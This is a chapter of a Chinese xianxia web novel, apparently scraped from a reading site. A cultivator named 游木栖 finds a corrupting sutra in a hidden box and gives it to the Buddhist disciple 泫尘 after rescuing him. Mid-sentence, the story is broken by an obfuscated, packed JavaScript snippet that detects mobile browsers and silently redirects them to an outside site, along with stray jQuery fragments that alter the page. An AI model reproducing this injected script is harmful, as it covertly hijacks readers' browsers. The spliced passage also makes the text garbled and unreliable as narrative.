这位佛子杀南虎再取心头血的动作格外利落，看得李长云一愣一愣，直到瓷瓶被放在手心，他才回过神来，“……你要不要去超度下？”


    泫尘擦去指尖泥泞的鲜血，“无妨。”


    有滴来不及被擦去的新鲜赤色落下，在游木栖眼中划出一道血淋淋的痕迹。一抹灵力悄无声息地过去，又携着血腥气回来，游木栖屈起指节将它冻住，隔着布袋与镇魔令绑在了一处。


    姜辽沉默地坐在一边，目光时不时落到泫尘身上，玢氰在他后面如临大敌，生怕两人打起来。


    身后的兽群越发躁动，界限一寸寸往里挪，南虎哈出的热气几乎要刺到姜辽脸上，细细密密如针一般。李长云也注意到了这个情况，手中速度一快再快。


    但姜辽还是跟南虎对上了。


    木鱼敲出的音波将冲来的南虎弹开，但也撑不了多久。在场五人，三个战斗废，一个受伤，还有一个……李长云扭头见游木栖正握着储灵玉，不由说道，“秘境里这个没用。”


    玢氰在旁边跳来跳去：“快动啊别说闲话了！”


    李长云脾气上来了，将东西一甩：“好啊我不干了。”


    旁观两人吵起来的朔丹满脸错愕，突然觉得游木栖有时也挺好的。


    被他念叨的游木栖手心握着屁用没有的储灵玉，正上上下下抛着玩。


    她知道泫尘在看她。


    先前树上那一下还是被认出来了。


    正思考着接下来怎么办，面前便站了一人，是没吵赢李长云的玢氰，他面色很不好看，“道友要不要劝一劝你同伴？”


    游木栖没纠正他的用词，也没有理他，最后是姜辽看了玢氰一眼，他才耐着性子给李长云道了歉。


    李长云边继续干活，边不着痕迹地往佛子那看。方才对方没有劝架，只是默默地挡住那些冲来的灵兽，他突然想起，最开始跟姜辽等人发生冲突时，佛子也是这样不管不问的态度。


    居然不是个烂好人。真是稀奇。


    游木栖扭过头，背对着她的李长云顿觉如芒在背，忙回过身却没发现有人看自己，排来排去他将目光锁定在姜辽身上，光明正大地瞪了他一眼。


    “你怎么突然心绪起伏这么大？发生什么了？”朔丹好端端缩在丹田，莫名其妙被游木栖体内从筋脉流过的灵气打了几拳，懵得不行。


    游木栖声音无波无澜：“命悬一线嘛。哪有不激动的。”


    朔丹：“……”


    手中的储灵玉直到被体温捂热也没一丝灵气泄出，游木栖将它挂回腰间，视线放到前方。


    泫尘应付得有些困难，但游木栖看得出他还有余力。之前碧鲸蜂那次，她听到了孚九几人的谈话。泫尘在秘境前便受了伤，不宜动用灵力，那时更是伤到肺腑，可就现在的情况看来，若不是为了护住后面几人，泫尘还能更游刃有余一些。


    她看向对方背部，劲风将那身白袍直往后吹，脊骨的形状被无数褶皱覆盖，看不真切。


    南虎被割断的獠牙在几次撞击后往泫尘眉心飞来，游木栖坐在原地没动，下一瞬獠牙被剑气切成无数细粉随风散去。


    恰好李长云与姜辽合力解开了门上的阵法，游木栖率先起身往后走，泫尘回头时便只看到了她的背影。


    空中还残存着剑风的气息，泫尘垂眸轻轻捻动了下佛珠，也踏入了门内。


    没了拦截的兽群迅速往前冲来，但李长云动作更快，宫门重重合上，将兽吼挡在了外面。


    李长云累得坐在地上，脑袋缓慢转动两圈，却只看见了姜辽和玢氰的脸。


    *


    刚进门，游木栖便被股巨力扯进黑暗里，她第一时间护住镇魔令，所幸这未知力量并没有要抢东西的意思，只是将她带去另一处地方。


    周围变清晰后，原本安安静静的朔丹突然叫出声，“我主人以前也来过这里！”


    朔丹嘴里的主人，游木栖听过一些，修仙界现在都有人时不时念起她的名字，秦曦。


    元婴时开创无形剑气第一流派，却终生未收弟子，她死后再无人探到无形剑气的门路。朔丹教游木栖的剑术，大部分都来自秦曦自创的功法。


    那时宗门并未分派，一宗之内学什么的都有，零零散散，自产自销。


    朔丹语气兴奋：“怪不得我们会来到这，她在附近留过东西！”


    游木栖观察了遍周围的情况，在松动的砖石上按两下，“留了什么？”


    “具体的我不记得了……但主人说是好东西，你快找找。”说不定能补补它的元神。


    朔丹满脸憧憬，“要不你也留点东西在这里吧，万一能帮到后来者呢。”


    游木栖在各个角落敲敲打打，寻找藏东西的地方，“没兴趣。”


    朔丹：“……那你呢，要是你以后落魄了，故地重游还能发现宝呢。”


    “说的也是。”游木栖打开纳物囊，精挑细选半天，将那件破破烂烂的半件血衣又撕了一块下来，埋在土里。


    基层阵法损毁，那布料破的不成样子，似乎要不了多久就会烂在地里。


    朔丹不可置信地看了又看：“这垃……东西有什么用？”


    “用的时候就知道了。”游木栖的语气甚至有些不舍。


    朔丹：“……”


    游木栖把血擦掉，兴致勃勃地继续翻找起东西来。这里常年无人，灵草四处疯长，游木栖甚至在鸟嘴里也看见了个没见过的灵草，她将这陌生的草拔出来，合上鸟嘴。


    被抢了食物的鸟兽气呼呼地扑过去，在剑气周围叽叽喳喳绕了一圈后又灰溜溜飞走了。


    “我主人特别有钱，肯定留下了很多宝贝，你的道元说不定也能提前补好，”朔丹开始回忆从前，“她当初是受不了自己一有钱就往剑上砸的穷光蛋生活才去钻研的无形剑气，好怀念那个时候啊。”


    同样学了无形剑气的游木栖从没富过，她难得礼貌：“麻烦说点有用的。”


    脚踩的地面陷没几分，游木栖停下步子，徒手挖了起来。刻着圆圈的木盒出现时，游木栖听到朔丹喊了句就是这个。


    盒子沉甸甸的，外面挂了锁扣，摸上去冰冰凉凉，还有层黏腻的液体。


    “会开吗？”


    朔丹果真一点有用的也说不出来，甚至越回忆神魂就越痛，“想不到……你有什么办法？”


    她能有什么办法，游木栖径直将盒子扔回去，“那不要了。”


    “？？？”


    朔丹叫破了音：“等下！我可以试试！”


    “那你来。”


    只能使用暴力了。为了不损坏盒子里的东西，朔丹每道剑气都小心翼翼，等将那些锁扣都切断后几乎要晕过去，清醒的意识全凭一口


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15646987|172389||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    气吊着。


    “打、打开看看……”


    游木栖轻轻松松掀开盖子，取出里面的东西，“佛经。”


    朔丹：“……？”


    “旁边还有一串字，”游木栖对这本经文很感兴趣，把附在书册的纸条捏在指尖看，“杀意重时可修心性。这东西不错。”


    朔丹两眼一黑，彻底晕了过去。


    游木栖察觉到他的昏厥，笑意落下来，没有神情的脸上显出几分冰冷。


    她移开压住字的指节，将完整的字露出来。


    ——诱杀念，毁心性，不渡妖魔堕神佛


    确实是好东西。


    将整本佛经翻完，游木栖没什么触动，里面经文拗口繁复，夹杂着不少梵语，十页翻过去她有九页看不懂，剩下一页是插图。


    佛子要是个文盲，这佛经还能影响他吗？


    游木栖销毁字条，将书收起，却没想到这佛经还是个法器，连纳物囊都没法放，只能拿在手上。


    她折了根树枝抛到半空，朝尖端落地的方向飞去。


    *


    泫尘一进来便被莫名的力量带离，天旋地转后落在一块冰川上。


    四周环海，触到冰面的皮肤透进森冷寒意，将手腕抬起时黏连的冰渣簌簌下落，留下覆着白霜的红印。


    佛骨浸出的暖意驱散那些寒冷，泫尘迈步至冰面边缘站定，滚滚浪花打湿了他的衣摆。


    他嗅着极致的冰寒，在了无生气的绝境中感应到了八神草的存在。


    越靠近八神草的位置周身便越寒冷，脚下的寒意顺势而上直入心肺，泫尘呼出的气都将鼻翼冻出红色。


    佛骨化出的灵力越来越绵薄，最终泫尘半身被冻住，腿与冰面相连，只有腰部以上未被波及。


    游木栖过来时便看见泫尘在成片打进水面的飘摇风雪中朝手心哈气，她将哪也放不下的佛经夹在怀中，准备离开。转身时却瞥见半空中落下块硕大的冰石，晶莹剔透，转瞬间四分五裂，有几块朝泫尘眉心飞去。


    对方不闪不避，似乎晕了过去。


    她神情漠然地站在原地，可在其中一片薄薄的冰晶即将触到那点鲜红时还是出手了。


    游木栖破开袭来的晶石，捻碎泫尘下身冻着的冰纹，她翻遍全身都没找到什么能挡冰晶的东西，便将昏迷的泫尘提了起来。若是李长云在此，定要嚷一句不公平，药修可比佛修要脆弱许多，怎么他就是被踢着走。


    就近找了处山洞，游木栖将泫尘放了进去，她身上没什么能取暖的东西，只得从纳物囊中将那剩下的小半件血衣找出来盖在泫尘身上。


    更准确的说，是盖在他的脸上。


    时不时有冻结的冰块掉下来，将只覆了层薄雪的石面砸出个坑，游木栖便坐在路边盯着上方摇摇欲坠的冰看。


    泫尘醒来时游木栖脚下已经碎了一地的冰。


    呼吸间尽是血腥气，泫尘缓慢将遮住视线的血布取下，微红的眼中出现了游木栖的身影。


    见他醒来，游木栖朝前伸手，“还我。”


    泫尘愣怔片刻，将手上的布料递过去，很快他反应过来发生了什么，温和笑道，“多谢道友相救，先前……”


    在他说出更多的话以前，游木栖将佛经放进他的怀里，她对上泫尘清澈的眼眸，打断他的未尽之语，说道，“这个送你。”